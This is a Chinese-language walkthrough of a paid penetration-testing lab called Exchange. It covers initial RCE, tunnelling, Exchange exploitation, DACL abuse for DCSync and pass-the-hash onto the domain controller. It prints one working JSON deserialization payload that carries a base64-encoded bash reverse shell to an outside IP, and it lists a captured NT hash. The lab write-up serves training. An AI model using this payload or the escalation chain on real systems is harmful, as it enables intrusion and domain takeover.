春秋云镜-内网极限挑战赛-Exchange
Exchange
看到奖品还有证书，还涉及oscp方面的东西，过来打打
感谢TryHackMe
Exchange 是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 Flag，分布于不同的靶机。
由于是付费的，时间就是金钱，为了节省点钱，我只好利用wp来进行半引导式渗透
借此来复习一下TryHackMe
(事实上我也看了其他几个房间的wp，得出的结论是thm教会了我太多太多，thm世界第一)
端口扫描
Web枚举 - 入口
进入8000，直接注册个账号
这里根据wp，存在一个可以让我们RCE的漏洞
但需要我们开启服务，由于我们没有公网ip，我们就借助thm的网络kali来帮助我们实现
如果java版本过高，请下载java8,然后为mysql_fake_server配置好java环境，否则会报错， https://repo.huaweicloud.com/java/jdk/
另外，这里需要提前下载ysoserial jar包，https://github.com/frohoff/ysoserial/releases
设置好config.json
thm的网络kali开启fake mysql server
把服务开起来之后就可以尝试利用了
/user/list?search=payload
payload:
{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "攻击者IP", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zNC4yNTQuMTUxLjE2My84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }
其中的base64是shellcode，需要改成自己的，然后再base64
然后将payload进行urlencode之后交付
成功getshell，并且拿到flag1
sshuttle搭建内网隧道
查看内网网段
首先使用ssh-keygen生成ssh key
将公钥改为authorized_keys丢到.ssh目录
将私钥下回攻击机，然后修改私钥权限
sshuttle搭建隧道
.2是dc，.26是win10
内网横向移动 - Exchange
.9有一个exchange
上exprolog
现在能够RCE
flag2
内网横向移动 - DACL-WriteDACL
这里为了省时间，就懒得开rdp进去传mimikataz之类的提取凭据操作了
直接wp快速拿到exchange的机器账户和zhangtong的 nt hash
0beff597ee3d7025627b2d9aa015bf4c
应该是通过bloodhound这类工具发现exchange机器账户对整个domain-object有writedacl权限
通过它来使用impacket的dacledit为我们已经获得的zhangtong赋予dcsync权限,然后进行dcsync获取DA账户的ntlm hash
psexec进dc
flag4
最后的flag
smbclient进.26的smb C$ share
在lumia的桌面下有个secret.zip, 但是有密码
由于thm的kali有上限时间，准备到时了，为了在kali关闭之前搞定，我选择直接wp:
PTH Exchange导出Lumia mailbox里面的全部邮件以及附件
item-0.eml，提示密码是手机号
导出的附件里面有一个csv，里面全是手机号
然后常规zip2john加john
然后出密码，查看flag.docx得到flag3
结束
其实这套机器整体并不难，除了入口点有点小坑之外，其他都还好，包括后面的横向移动和域渗透，事实上都非常简单，thm都是教过的非常全面的，其实跟thm的wreath有点相似。只是在这里，每一分每一秒都是钱，并且在最后，我的thm的kali也即将到期并且无法续期，我只好跟着wp的思路来极速完成这个机器
最后感谢TryHackMe的优质教程和房间，令我学的这么多
也感谢wp作者：小离-xiaoli写的writeup，才能令像我这种穷鬼能加速和跳过一部分